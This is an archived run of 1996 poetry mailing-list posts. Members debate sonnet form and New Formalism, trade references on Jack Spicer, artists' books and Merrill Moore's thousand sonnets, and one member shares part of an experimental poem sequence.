On Wed, 27 Mar 1996, Charles Alexander wrote:

> *I do think we have to talk about each artist, although no work exists without a context, and many times it makes sense to speak of more than one artist at a time and to try to find out how different ones speak to/with each other. This can make for movements, but it doesn't always. It certainly does not make for one united "avant garde" movement; neither is there one united mainstream out from which the avant garde erupts. So I agree and disagree with you. I think there is a danger in speaking about "one poet, painter, sculpture" at a time to then go on to speak of one work at a time and get back into a sort of new critical approach which removes the work of art from the world, and I hope that's not what we want.*

Well, yes, I did a lousy job of expressing myself. I'm not at all interested in returning to new criticism (except as a way to begin to

read, but not the goal of reading). It's just that the phrase "avant garde" gets tossed around rather irresponsibly by "its" detractors. That's what I think moves toward specificity (within context, yes) can help to balance.
>
> Everything I have heard about the New Formalist movement makes me want to be
> far away from it, although I wonder about what you report as Turner's sense
> that New Formalism thinks the Enlightenment was right and we got it wrong
> after that. Just that I believe that any school of thought that truly thinks
> of the Enlightenment as enlightened in some singular way is reducing that
> period's complexity. After all, it not only gave us Samuel Johnson's Vanity
> of Human Wishes, but also Christopher Smart's Song to David and Jubilate
> Agno, and Laurence Sterne's Tristram Shandy. And even a lot of reading in
> Johnson can cause one to question the supposed Reason of this Age.

Yes. I think that Turner's worry is that "we" have developed ourselves into an "avant garde" culture (it's a prhase people like to use here, I'm not sure what they mean by it yet) and that's what he sees his project as "curing." I'll need to review the book if you want more specifics; I read it a year ago, and it's sort of gelled into a few vague statements in my head now.

Thanks for the adjustment,
M.

↑ Index

703. **Michelle Roberts**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

> On Wed, 27 Mar 1996 15:47:47 PST Jerry Rothenberg said:
> >
> >ps. A "formalism" that's blind (or deaf) to the work of (let's say) Jackson
> >Mac Low wouldn't know order from chaos or would restrict it to the trivia
> >of ABAB or its variations. But that discussion is -- & always has been -- a
> >dead end.
>
> Agreed that such restrictions would trivialize ABAB or its variations;
> but if you say ABAB or its variations are in themselves trivial, I
> must say with much rawness that you are either a literary critic or
> a dictator! - Henry Gould
>
Oh my, isn't that a bit harsh? You have a choice here gentlemen the

facism of The Trivia of ABAB of the facism of Everything Goes AT all Cost, including one's right to personal taste. Cool heads, folks. If what's clashing here is your various aesthetics, please enlighten me with a discussion; if what's clashing is ego, go gently.

M.

↑ Index

704. **Michelle Roberts**
Re: AWP Chronicle, discussions of form
Fri 29 Mar 1996

---

thank you for the lesson, all. i suppose i've let my personal aversions to some forms keep me from knowing their history. this makes me uncomfortable, which is good, and i'll use more caution in future.

M.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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705. **Gary Hawkins**
Re: Discussions of form: the sonnet
Fri 29 Mar 1996

> *On Wed, 27 Mar 1996 13:42:23 -0600 Michelle Roberts said:*
> *Sonnets, for instance, describe and assume an orderly universe, and orderly and relatively uncontested social order.*
>
> *To Which Hank Gould Replies on Thu, 28 Mar 1996:*
>
> *Really? Seems to me the benchmark in sonnets in english, Shakespeare's, celebrate, mourn, ironize, a breakdown in relations between women/men. They show a social order based on "games people play" and how these games self-destruct. They start with these avuncular advisements of an elderly gent to a handsome young man to "be fruitful and multiply" & disintegrate from there. The only standard still standing at the end is "love" - but love with a shady meaning.*

In this, the sonnet, rather than being example of form that "over orders," of form as constraint, as necessary _finish_ (as in _done_), is instead perhaps one of the most neat (I'll admit to the tidiness of fourteen lines) and beautiful expressions of chaos. Too easy to see the line count, the rhyme scheme of a

sonnet and think: orderly universe. When in fact what a sonnet is all about is its volta, the turn of its own self-destruction, (as Hank Gould well points out). _That_ is the action of a sonnet. _That_ is what makes a sonnet.

Point being, if the poem is _good_, then it behaves and excels at multiple levels (Hank's point of the day previous), and "finish" or form need not be a constraint any more than "unfinish" be a detriment. Come on, simplicity and straight-jacketing are not imposed by form (or even by Formalists), they are only the result of the poet unwilling or unable to both embrace and challenge a form (which is to say challenge the poem, no matter its form). If you aim to show the complexity of 'experimental poetry' then you will have to allow the complexity of "formal poetry," too.

Gary.

.... Gary Hawkins ::::::: Olympia, Washington .. [redacted] ::::: "It's the Water." .....:::.....

↑ Index

706. **Henry Gould**

Re: raw stein & cooked sonnets to go

Fri 29 Mar 1996

On Fri, 29 Mar 1996 09:44:51 -0500 Emily Lloyd said:
>Eek! The Princeton! That book's good for buildin' yer biceps, maybe...but you can't get everything from chapbooks and the internet...

> *I'm not sure you're understanding what I'm (only because Williams isn't here to) saying...I LIKE sonnets, not trying to insult them...but...see...they've got that rising action/climax/falling action thing going on...of course there are variations...I'm talking about the strict sonnet forms, i.e. Petrarch, Shakespe, and that other guy...where a turn is necessary, and where the turn is supposed to occur at a certain predetermined place.*

Point taken... but if the turns in Shakey are diff from the ones in Petrarchan... and if the turns are really an art of making a logical argument dance... I give up, this is another fruitless issue. Williams just sounds defensive, trying to put down something he didn't want to try to master. But to master this kind of slow turning shaping of an argument seems like a kind of dialogic pseudo-conversational art that's diffused and de-fused later...maybe by modern print culture? - Henry Gould

↑ Index

707. Matthew Gary Kirschenbaum
Re: Question regarding "Spicer in Context" Conference 1986 &
Fri 29 Mar 1996

> *On a related topic, does anyone here know of any visual artists who have attempted to translate aspects of Spicer's poetics over into the production of what might be called picture-books? (One of the aspects I have in mind is serial and narrative structure, the _book_ becoming the unit of composition, instead of the individual poem, painting, or collage*

If you're not already familiar with them, I'd suggest looking at some of Johanna Drucker's books: _The Wor(l)d Made Flesh_, _Simulant Portrait_, _Otherspace: Martian Ty/opography_, and also perhaps some of her criticism, _The Visible Word_ for example. (This is a small sampling indeed, as her bibliography includes some 50 original works.)

I posted an inquiry about JD here a few months ago, and received a number of helpful replies, which I'd be happy to forward to you.

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

↑ Index

708. Matthew Gary Kirschenbaum
correction
Fri 29 Mar 1996

Oops. I see I've conflated the title of Drucker's _The Word Made Flesh_ with another of her books, _The History of the/my Wor(l)d_.

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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709. chris daniels
Re: Barry MacSweeney /Pickard
Fri 29 Mar 1996

---
christopher daniels <[redacted]> 3.29.96 8:55:10 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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710. chris daniels
author of M
Fri 29 Mar 1996

> *But Edwin Honig was talking last night about a book titled "M" - standing for "1000 Sonnets". Wish I could remember the author...*

i don't know if this has been answered yet, but M was written by merril moore, i believe, who was a lawyer or a physician and was a friend of marianne moore and elizabeth bishop but for god's sake don't quote me on it

chris
---
christopher daniels <[redacted]> 3.29.96 8:59:55 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

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↑ Index

711. chris daniels
Re: Barry MacSweeney
Sat 30 Mar 1996

speaking of political poets, does anyone know what tom
pickard's up to these days? is he living in poland w/ his
wife or?

will commence posting bits of me sequence in a little

later

ps sorry abt the blank posting --- slip of the mouse
---
christopher daniels <[redacted]> 3.29.96 9:09:53 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

712. Schuchat
Re: raw stein & cooked sonnets to go
Sat 30 Mar 1996

On Fri, 29 Mar 1996, Henry Gould wrote

                Williams
> just sounds defensive, trying to put down something he didn't want to
> try to master.
>

Nah, Williams doesn't sound defensive when he says all sonnets say the same thing, he sounds ideological, since he is trying to make the point that there is something else, more interesting and worthwhile, for American poets to do (at that point in time) than to replay received forms. There are interesting things that can be done with received form and Williams was not blind to them -- he like Lowell's early work, for its energy, despite its Ransom Tate aesthetic -- but he had alot of people to convince. In any case, he wrote sonnets now and then himself, there is even one (Sonnet in search of an Author) in the Pictures

from Breughel collection. Now, is being ideological the same as being defensive? Interesting question.

↑ Index

713. **Pierre Joris**
Re: Barry MacSweeney
Sat 30 Mar 1996

On Fri, 29 Mar 1996, chris daniels wrote:

> speaking of political poets, does anyone know what tom
> pickard's up to these days? is he living in poland w/ his
> wife or?
>
Chris, I haven't seen them in a few years now, but as far as I know Tom& Joanna are still based inLondon with stays in Poland. Last I heard Tom was mainly involved with television documentaries. But I may be out of date on all this -- Pierre

↑ Index

714. **Ron Silliman**
Spicer
Sat 30 Mar 1996

Several pieces from the 1986 conference were collected in Acts 6: A Book of Correspondences for Jack Spicer (mine, Michael Davidson's, Michael Palmer's, Robin Blaser's)

Spicer's White Rabbit books were quite distinct in their presentation. The pages of each section of Book of Magazine Verse roughly mimed the paper of the publication for which the poems were "intended" (the cover was, as I recall -- I don't have the book anymore -- a deep brown image stolen or parodied from the cover of Poetry). Language used the image of the cover of that lingusitics magazine (not to be confused with the Andrews/Bernstein affair of the late 70s) that had Spicer's own article (his one "professional" publication) in it, with the book title and author's name in large red letters supper imposed. I never owned Heads of the Town up to the Aether but recall seeing it (before I realized how important it was to own everything Spicer ever wrote). There was a period of nearly a decade after his death when most of the books were out of print but rumors always abounded that somebody -- Gino Clay Sky, I think -- had a box of Heads of the Town somewhere, if only you could find him.

They weren't artist's books in the usual sense, but they did present the book as the unit. That's why, no doubt, the Collected is not the Collected Poems, but the Collected Books....

And, no, Henry, I don't think Eliot and Stein were worrying about their relation to transcendtalism or Neitzsche. At least Stein wasn't.

Ron Silliman

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715. **Jordan Davis**
new york city, a bag
Sat 30 Mar 1996

It's not too late to see the rest of the New York City Poetry Talks. What you've missed: a friendly exchange between Jeff Derksen and Steve Evans on "the consitutive outside"; Martine Bellen saying "Look at someone like Bruce Andrews," Bruce sitting four rows back; Rodrigo Toscano suggesting that writing does not undermine ideology; Kristin Prevallet saying she no longer knows what is meant by the word "language"; Tim Davis analogically polling the audience about poetry and community; Buck Davis declaring that the second the community stops giving him what he needs, he's out of there; several of us seconding Buck; Andrew Levy describing his first experiences of writing (and the pleasure he found in them); Andrew Levy contrasting I forget whom with Vermeer, and observing that Vermeer is good for human dignity; Chris Stroffolino, Douglass Rothschild, Steven Farmer, Will Howe and Rod Smith (and me) heckling, often instructively; Kim Lyons on the change in the poetry community in New York in the early 80s; Sianne Ngai on Oppen and Stevens; Kim Rosenfield reading a piece that seemed to play on the phrase "inca lab oration"; Joe Elliot on the development of the crusades from the wanderings of itinerant Irish priests; and a stunning performance by Michael Basinski and family. Not to mention the two whole roomfuls of people I didn't manage to get out of my heat-smothered little zone to hear. Rob Fitterman, viva Rob Fitterman! It's at 101 Main Bldg, NYU, which is at the NE corner of washington square park. I'd tell you more, but I have to go write my talk.

Love,
Jordan

↑ Index

716. **Maria Damon**
Re: poetry sightings at poetry city Mar. 28
Sat 30 Mar 1996

---

thanks for the fulsome report, jordan, that's what i call a leisurely and pleasured recap of what sounds like a wonderfllll evening. whish i coulda...and by the way, folks,walter's and my book for 30$? a steal, both worth it... and what were you all saying about woods hole? bests, maria d

↑ Index

717. **Maria Damon**
Re: Question regarding "Spicer in Context" Conference 1986 &
Sat 30 Mar 1996

---

i think some of those papers appeared in, was it ironwood, or boundary 2, something like that, a special spicer issue? mdavidson wd know. i loved that conference --it's what inspired me to write about spicer in what became my booky-poo; i'd loved his poetry since larry fagin introduced me to it in 1977, but it never crossed my mind to write about it...until that magic moment in SF when i saw michael davidson, john granger, and george stanley (i was least impressed by the latter, who was incoherent) talk about what for me had been a somewhat secret passion, as bob kaufman had been, or at least private if not secret. maria d

↑ Index

718. **Maria Damon**
Re: author of M
Sat 30 Mar 1996

---

merrill moore was a psychiatrist, one of whose clients was robert lowell as a kid! it' rumored that moore also had an affair w/ lowell's mother, and that the two were planning --later, after Cal got famous -to collaborate on a biography of him. what a nightmare...poor little rich boy.... maria d

↑ Index

719. **Michael Boughn**
Re: Question regarding "Spicer in Context" Conference 1986 &
Sat 30 Mar 1996

> *On a related topic, does anyone here know of any visual artists who have attempted to translate aspects of Spicer's poetics over into the production of what might be called picture-books? (One of the aspects I have in mind is serial and narrative structure, the _book_ becoming the unit of composition, instead of the individual poem, painting, or collage*

> *Aaron Vidaver c/o*
> [redacted]

I have a held a book by Fran Herndon consisting of collages she worked on with Spicer. They're marvelous. I can't remember the name of the book now. Perhaps Kevin can help. If not, I'm sure it could be tracked down. As visual evocations of the spirit of Spicer's work, they're impeccable.

Mike
[redacted]

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720. Albert Cook
Providence Small Press Book Fair
Sat 30 Mar 1996

Sunday April 14 1-5PM Alumnae Hall 194 Meeting Street Brown University Providen ce. Admission Free. Refreshments. Bartlett Society's Small Press Book Fair. Fin e Printing, Poetry, Handmade bindings Artists Books Scholarly Publications Ephe mera. SPEAKER: Rosmarie Waldrop, "35 Years on the Burning Deck." Adastra Press, Ampersand Press, Barbazange, Bu ll Thistle Press, Burning Deck Press, Chicory Blue Press, Copper Beach Press, H affenreffer Museum of Anthropology, Haybarn Press, Innerer Klang, Italica Press, Elizabeth Coombs Leslie Paper Conservator, John Carter Brown Library, Little R iver Press, M&S Press, Oat City Press, Paradigm Press, Farmer's Museum, Rhode I sland School of Design, Sea Dog Press, Showcase for Collage, Singular Speech Pr ess, The Umbrella Press, Ziggurat Press, Palabra Press, and others. Information [redacted].

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721. Tenney Nathanson
gristle is as (?)
Sat 30 Mar 1996

Date: Fri, 29 Mar 1996 08:11:41 -0500
Fr>Date: Fri, 29 Mar 1996 08:11:41 -0500
>From: Michael Boughn <[redacted]>
>Subject: Wyatt nd the sonnet
>
>> wyatt is truly amazing, from a weird psychosexual angle, and fun to teach for
>> that reason.--
>> maria d

>
>But also for the sheer gristly, sinewy chewiness of the language and
>the astonishing rhythmic variety. Spenser and Sidney run it thru the
>neoplatonic mill so that it comes out all heady and mellifluous. It
>takes Donne to bring it back to ground. And what about Milton? Wow.
>
>Mike

Mike--

I always thought so, but remember the guy with whom I did my 16 & 17 C poetry, Seymour Kleinberg, saying that those qualities may not have been there for a conotemporary audience: re off-rhyme in, esp, Donne, say, but also re rhythmic syncopations, that they may not have been heard that way esp. when the words were set.

it would be sad to think so

(Blackburn: "would that it were so / would that it were not so")

but how not chew on THIS?:

(from [faulty?] memory which has at least likely garbled lineation):

for this / both the year's and the day's deep midnight is"

Kenneth Koch used to say that reading "Song of Myself," esp section 2, made you feel like you had a mouthful of rocks....

meanwhile
him who disobeys me disobeys?

best

Tenney

↑ Index

722. **Charles Alexander**

Re: Question regarding "Spicer in Context" Conference 1986 &

Sat 30 Mar 1996

> *On a related topic, does anyone here know of any visual artists who have attempted to translate aspects of Spicer's poetics over into the production of what might be called picture-books? (One of the aspects I have in mind is serial and narrative structure, the _book_ becoming the unit of composition, instead of the individual poem, painting, or collage*
>
> *Aaron Vidaver c/o*
> [redacted]

This IS what book artists do. Sometimes I think the work is more unknown than I suspect, perhaps because it is significantly outside the conventional art markets and decidedly outside most literary practice. See work by any number of artists, including some Chax Press books, books published by Granary Books by various artists, Claire Van Vliet, Walter Hamady, Katherine Kuehn, Penny McElroy, Susan King, Mare Blocker, Tim Ely, Phil Gallo, Karen Wirth, and I could go on and on and on. For an introduction, see Artists' Books, ed. Joan Lyons, Visual Studies Workshop. More recently, see Talking the Boundless Book, ed. by me, Minnesota Center for Book Arts. And see particularly Johanna Drucker's The Century of Artist's Books, pub. Granary Books.

Enjoy searching.

charles alexander

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723. **Charles Alexander**

Re: Question regarding "Spicer in Context" Conference 1986 &

Sat 30 Mar 1996

> *On a related topic, does anyone here know of any visual artists who have attempted to translate aspects of Spicer's poetics over into the production of what might be called picture-books? (One of the aspects I have in mind is serial and narrative structure, the _book_ becoming the unit of composition, instead of the individual poem, painting, or collage*
>
> *If you're not already familiar with them, I'd suggest looking at some of Johanna Drucker's books: _The Wor(l)d Made Flesh_, _Simulant Portrait_, _Otherspace: Martian Ty/opography_, and also perhaps some of her criticism, _The Visible Word_ for example. (This is a small sampling indeed, as her bibliography includes some 50 original works.)*

Yes indeed. And I'd also suggest a strong dose of Karl Young's work, both his own books and his publishing of others, for years through Membrane Press and more recently in Light & Dust Books. You could write Light & Dust at 7112 27th Ave., Kenosha, WI 53143 for a catalogue and to inquire about its web site as well. A recent visual poetry catalogue for an exhibition in Milwaukee (is Bob Harrison still on this list -- he can give details?) began with a foreword by Drucker and ended with an afterword by Karl Young.

↑ Index

724. **chris daniels**
pickard/sonnets/my sequence
Sat 30 Mar 1996

--- On Sat, 30 Mar 1996 07:46:44 -0500 Pierre Joris <[redacted]> wrote:

> *On Fri, 29 Mar 1996, chris daniels wrote:*
>
> *speaking of political poets, does anyone know what tom pickard's up to these days? is he living in poland w/ his wife or?*
>
> *Chris, I haven't seen them in a few years now, but as far as I know Tom& Joanna are still based inLondon with stays in Poland. Last I heard Tom was mainly involved with television documentaries. But I may be out of date on all this -- Pierre*

1.

pierre

i'm not surprised abt the documentaries at all, having read The Jarrow Marches --- pickard was always highly politicized. but i am a little disappointed, i guess --- Hero Dust was important to me when i was in my early twenties --- still think it's a terrific book --- i wasn't too crazy abt Custom & Exile --- tho there are some beauties in there --- and have been keeping my eye out for pickard ever since --- anyway, let's hope he's content w/ what he's doing now, whatever it may be

2.

i've been extremely interested in the sonnet discussion, tho have had very little to say abt it --- but i wrote A LOT of sonnets when i was a kid --- really bad sonnets --- a couple of hundred, all trashed a long time ago --- it's a great form, one of the greatest, does its dialectic work compactly

i'd like to mention cummings' "sometimes/ in)spring" and gm hopkins' Windhover as examples of outrageously beautiful sonnets wch strain the form w/o "breaking" it and cecco anghiolieri's "S'il fosse fuoco" as a particulary nasty bit of sonneteering

3.

speaking of form and volti, here's the first few pages from the sequence i've mentioned. i'd GREATLY appreciate comments, criticism, etc, --- also, please tell me if it's too much to post at once

nb: the text has lost it's formatting --- LET THIS URN SPEAK shld be in the shape of --- you guessed it

the sequence is called --- for now, anyway --- NICHTS MACHT FREI (...AND PISSE NOT UPON THEIR ASHES)

i hope you enjoy reading it

later

chris
****
Saint Lt

Vire will wind in other shadows
unborn through the bright ways tremble
and the old mind ghost-forsaken
sink into its havoc

--- Samuel Beckett

*

LET THIS URN THEN SPEAK
WHEREIN SHE LIES IN PART
NO MORE O THE SUN COMES UP
IN THE MORNING AND SENDS OUR CHILDREN OFF
TO SCHOOL AND SENDS US OFF TO DO OUR JOBS AND
SENDS US OFF TO CHANGE THE WORLD THE SUN COMES UP IN
THE MORNING AND WILL WE NEVER AWAKE SINCE NO AMOUNT
OF FINGERWORK MAY REDEEM THE BARREN MAESTRO COME ALL
YE LATTERDAY ZHDANOVS CHOIR YOUR TENDENZ-POESIE NOR
MOST INTRICATE CENOTAPH SUBLIMATE THE SMELL OF DEATH
SLAMMED THROUGH DISASTERLESS IMMENSITIES SOON TO
BE RAVELLED IN DECAY FAR MORE SWEET THAN YOUR
THRICE GONGORIC BLOOD DRY SOIL BLOW AWAY
WORLD FORGET YOUR BARE BONES DANCE
MUTE MONSTERS TO A SILENT
COMMONSONG
SELAH
ELASELAHELAS
ELAHELASELA
HELAS
ELAHELASELASELA
HELASELAHELASELAH
SELAH SELAH SELAH SELAH
SELAH SELAH SELAH HELAS
SELAH SELAH HELAS HELAS

SELAH HELAS HELAS HELAS
HELAS HELAS HELAS HELAS

*

Cede To Fog

every
no thing s
some

*

Black wing slice
shitten meatglut
azraelstrom ventrex come
take this shadow
home to vorterus
abaddon your grinding
bloodash kingdom come
shadow come
take this shadow
up

*

You remember there i was back then that time
you know in the pit with the others there how
well you know

funnel of ash wind and shit with the ones not
me in that bloody cone

yet me the flapping above us alike yet seperate
in glacial grinding unformed bones to imma-
nence you know well

huge shrieking black mantling silence over all
you ever knew in that cloacal vortex

protoclasmic surge and buckle in ourhailin-
through-us-omnidirectional-wind wing brush
each eye blind staring out from filthy ice

how only too well you know that howling
nowhere compass-net perseity

o immane immanation imbanning mendacity
your predation untrammeled in black muck
its mire-sucking quag mocks our ludicrous

tropical bathos with vertical hurl
****
---
christopher daniels <[redacted]> 3.30.96 8:29:05 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wuorinen

a: "free yr mind and yr ass will follow."

--- george clinton

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725. Aldon L. Nielsen
Re: NYU Talks
Sat 30 Mar 1996

PLEASE keep those reports coming -- Sounds great --

and somebody might pass a word to whoever organized this at NYU to stop being so damned insular and let a few people outside their immediate circles of acquaintance know ahead of time when they're planning such an event -- I left the East before it happened, not knowing it was to happen, and coulda hung for at least part of it --

Other big poetry wing dings happening soon back there at least have told us they are to occur -- The call for papers & readings for a few of them has been attracting much attention around the bulletin board where I posted it here in L.A. --

Rod -- Congrats. on the book!

↑ Index

726. Stephen L Burt
M, irony, Niedecker, "the equilibrists"
Sat 30 Mar 1996

I've been enjoying reading this list a lot and haven't posted to it before, but I thought I'd answer a few specific questions and ask a few more.

***

_M_: Merrill Moore was a successful psychiatrist in Boston whose famous patients included Robert Lowell. He had some sort of project to write as many sonnets as he could before dying, or maybe simply to write a thousand sonnets; he would interrupt consultations to write sonnets, and kept a notepad with him in his car so he could write sonnets at traffic lights, etc. There's an anecdote in Elizabeth Bishop's letters about him, I forget where or what but it's funny.

Speaking of New England eccentrics, I bet some of the people on this list would enjoy John Wheelwright: I heard Ashbery talk about him several years ago and looked him up, and I didn't think he was that great, but he's certainly disjunctive, experimental, singular and fun.

***

"The Equilibrists": the people we group together now as "New Critics" certainly _didn't_ insist that all poems be pinned down like butterflies, with one demonstrable meaning and total snap-shut closure. At least not all of them did. That Ransom poem somebody mentioned a few days ago is-- in part-- about _preferring_ a certain amount of indeterminacy (in a reading or in a romance), and justifying that preference by explaining it after the fact as a desire for unresolved "tension" or "balance." Ransom was terrifyingly sexist, not open-minded enough in other ways, and so on, but he and his friends were thinking seriously about many of the same issues we think about now. (So were Hazlitt and De Quincey, I think, but don't quote me on that. Yet.)

***

Irony, cooked, etc.: Is irony "inherently" more cooked than its opposite (sincerity? univocality?)? Whether or not it is, we expect works that appear "cooked" and "finished" in other ways to include some irony (or anyway I do). (We have been taught to do so.)This expectation opens up a whole range of effects to be achieved by (1) writing heavily ironic, deeply ambiguous poems that _sound_ "raw," or by (2) writing poems that are apparently "cooked" and "finished" aurally but completely univocal and sincere emotionally, in a way that makes their sincerity a suprise.

Successful example of (1): (some of) Stevie Smith, and possibly Veronica Forrest-Thomson.
Successful example of (2): (some of) early Creeley.

But such general terms can't take us very far, and I should probably stop right there.

(People who care where Lowell got the phrase "The Raw and the Cooked" might think about the famous Philip Rahv essay "Paleface and Redskin," which applied a slightly-similar binary division to American fiction, and which Lowell and all his friends would certainly have read. And our library catalog places Levi-

Strauss's _Cru et le Cuit_ in 1964, after Lowell's talk-- is it really that late, or have I been deceived by reprint dates?)

***

Finally, I heard a rumour that the reason I've never seen a _Collected Poems of Lorine Niedecker_ for sale is that they were stored in a warehouse in North Carolina and the warehouse flooded. Terrible irony, if true ("My Life by Water"...!) Does anyone know whether the poems that weren't in _The Granite Pail_ will ever be made available again (or whether they're available now)?

***

Back to the cave,

steve

↑ Index

727. Chami Wickremasinghe
NEW POETRY PAGE
Sat 30 Mar 1996

Santa Rosa Soundings

http://www.chamisplace.com/art/srs/

Interested in a new approach to the
exciting world of poetry? Visit Santa
Rosa Soundings at Chami's Place...
all categories, all styles, news and
more in a whole new kind of magazine!

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728. Peter Quartermain
Re: author of M
Sat 30 Mar 1996

It might be worth remembering, too, that William Carlos Williams wrote a foreword to Merrill Moore's 1938 book SONNETS FROM NEW DIRECTIONS; parts of this were later reprinted on the last pages (pages 1016-1017) of Moore's M: ONE THOUSAND AUTOBIOGRAPHICAL SONNETS (Harcourt Brace 1938). The Foreword is titled "Merrill Moore's Sonnets: Present total, steadily mounting, 50,000." I don't know what he said about the sonnet there, since I haven't read it. Moore wrote roughly (i.e. approximately!) five sonnets a day from his eighteenth year on.

Peter

>>But Edwin Honig was talking last night about a book titled "M" -
>>standing for "1000 Sonnets". Wish I could remember the author...
>
>i don't know if this has been answered yet, but M was written
>by merril moore, i believe, who was a lawyer or a physician
>and was a friend of marianne moore and elizabeth bishop but
>for god's sake don't quote me on it
>
>chris
>----------
>christopher daniels <[redacted]> 3.29.96 8:59:55 pm
>
>q: "how can you be revolutionary when 20 years ago they
> said anything goes?"
> --- charles wuorinen
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>a: "free yr mind and yr ass will follow."
>
> --- george clinton
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>snail: 1474b 7th st berkeley ca 94710 usa
>voice: [redacted]
>http://users.lanminds.com/~kunos/ (constructing)
>
>
+ + + +

back on the English poet Roy Fisher, plus a number of other things. Joanna Voight is mainly working out of London, or was, last I heard. . There is also his wonderful documentary book about the last of the Northeastern shipyards, WE MAKE SHIPS (I think I've got the title right) published about 1990 by was it Andre Deutsch? Ric Caddel will know, are you there Ric?

Peter

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

730. **Joshua N Schuster**

Re: Question regarding "Spicer in Context" Conference 1986 &

Sun 31 Mar 1996

Charles,

While everyone is waiting for updates on the NYC conference, myself included, could you expand some on the current state of book art practice. I agree book art tends to slide behind the couch pieces of both art and poetry markets. Partly, perhaps, because the books tend to be too expensive for casual purchase but not a rare enough commodity for museum/gallery space.

I'm curious what sort of genres or "schools" or margins are out there and who is a particular publisher, besides Granary and Chax. I"d like to know more about the list of names you posted and how their work relates to previous movements such as lettrism and even fluxus. I enjoy reading Johanna Drucker's critical work but sometimes feel she name drops to a supersatured extent which makes a sort of i.d. salad, particularly with regard to the current "scene" or industry. It's perhaps odd that the langpo's mostly kept astray from the book of the thing, with noteable exceptions Grenier and McCaffery.

I've been trying to research assemblings, multimedia "books", sort of, but can find very little critical material. What little of such current assemblagers I hear of, like Blast, I devour. Does anyone know of any international journals which cover the states of practice?

Also what does _Talking the Boundless Book_ feature? Willing to share more?

So any info on current book art and assemblaging practice would be of help. If not, still eagerly awaiting the results of the talk series.

bests,
Joshua

Charles Alexander wrote:
>
> This IS what book artists do. Sometimes I think the work is more unknown
> than I suspect, perhaps because it is significantly outside the conventional
> art markets and decidedly outside most literary practice. See work by any
> number of artists, including some Chax Press books, books published by
> Granary Books by various artists, Claire Van Vliet, Walter Hamady, Katherine
> Kuehn, Penny McElroy, Susan King, Mare Blocker, Tim Ely, Phil Gallo, Karen
> Wirth, and I could go on and on and on. For an introduction, see Artists'
> Books, ed. Joan Lyons, Visual Studies Workshop. More recently, see Talking
> the Boundless Book, ed. by me, Minnesota Center for Book Arts. And see
> particularly Johanna Drucker's The Century of Artist's Books, pub. Granary
> Books.
>
> Enjoy searching.
>
> charles alexander
>

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731. Ward Tietz
assemblings and multi-media books
Sun 31 Mar 1996

On March 31, Joshua Shuster wrote,

"I'm curious what sort of genres or "schools" or margins are out there and who is a particular publisher, besides Granary and Chax. I'd like to know more about the list of names you (Charles Alexander) posted and how their work relates to previous movements such as lettrism and even Fluxus."

"I've been trying to research assembling, multimedia 'books,' sort of, but can find very little critical material...Does anyone know of any international journals which cover the states of practice."

From what I know about European practice, this sort of work can get even more difficult to track since it also overlaps with other practices such as mail-art, which while on the wane in some countries, is still going strong in others. In this context Fluxus influence and tradition are still quite strong. I know, and

have worked with, a few people who were in the "flux-like" group Ecart here in Geneva which was started by John Armleder in the 1970s. One of them, Guenther Ruch went on with a mail-art magazine in the 1980s called Clinch and published, and still publishes, assembling-style books through his press, Out Press (315 Rte. de Peney / CH-1242 Geneva-Peney / Switzerland).

Another person who continues in this tradition is Juergen O. Olbrich who through the NO INSTITUTE (Nederfelderstr. 35 / Kassel, D-34128 / Germany) publishes assembling-style books in limited editions of 150. This style of work tends to be cruder and more ad-hoc than most of the work Charles Alexander described, but it is able to investigate the idea of assembly more fully as a result.

Juan Agius, who is based in Geneva, is one of the few book sellers who specializes in this sort of work. He publishes a catalog about three times a year. His address is P.O. Box 5243 / CH-1211 Geneva 11 / Switzerland.

There is also Gates of Heck, the catalog of artist books and other related material, put out by Katharine Gates and Davi Det Hompson. The last one I have is from late 1994, so there may be a more recent one. Their address is 5301 Brook Rd., Richmond, VA 23227, USA.

Ward Tietz
Rte. de St. Cergue, 48a
CH-1260 Nyon
Switzerland

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732. Thomas M. Orange
Queneau's sonnet machine
Sun 31 Mar 1996

> On Fri, 29 Mar 1996 09:09:44 -0500 Michael Boughn said:
>
> >Watch for upcoming volume of John Clarke's sonnets, _In the Analogy,
> >Books 1-7_ from shuffaloff in the next couple of months--a sequence of
> >250 sonnets which only death managed to stop.
>
and Henry Gould replied:
>
> But Willis Barnstone's got him beat - just published "501 Sonnets".
> But Edwin Honig was talking last night about a book titled "M" -
> standing for "1000 Sonnets". Wish I could remember the author...
> Little sonnet men make BIG sequences.

Raymond Queneau probably has them all beat with his _Cent mille millards de poemes_ (1961). Ten sonnets printed onto thick card stock, with each page die-cut into line-by-line strips for continual rearrangement.

Any chance that Gallimard will ever actually allow this text to get marked up into HTML and stored on the WWW so that it can truly run like the well-oiled sonnet machine that it wants to be? And in a bilingual edition maybe....

Tom Orange
London, Ontario

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733. **Maria Damon**
Re: pickard/sonnets/my sequence
Sun 31 Mar 1996

---

cool!
md

↑ Index

734. **Maria Damon**
USOP event report
Sun 31 Mar 1996

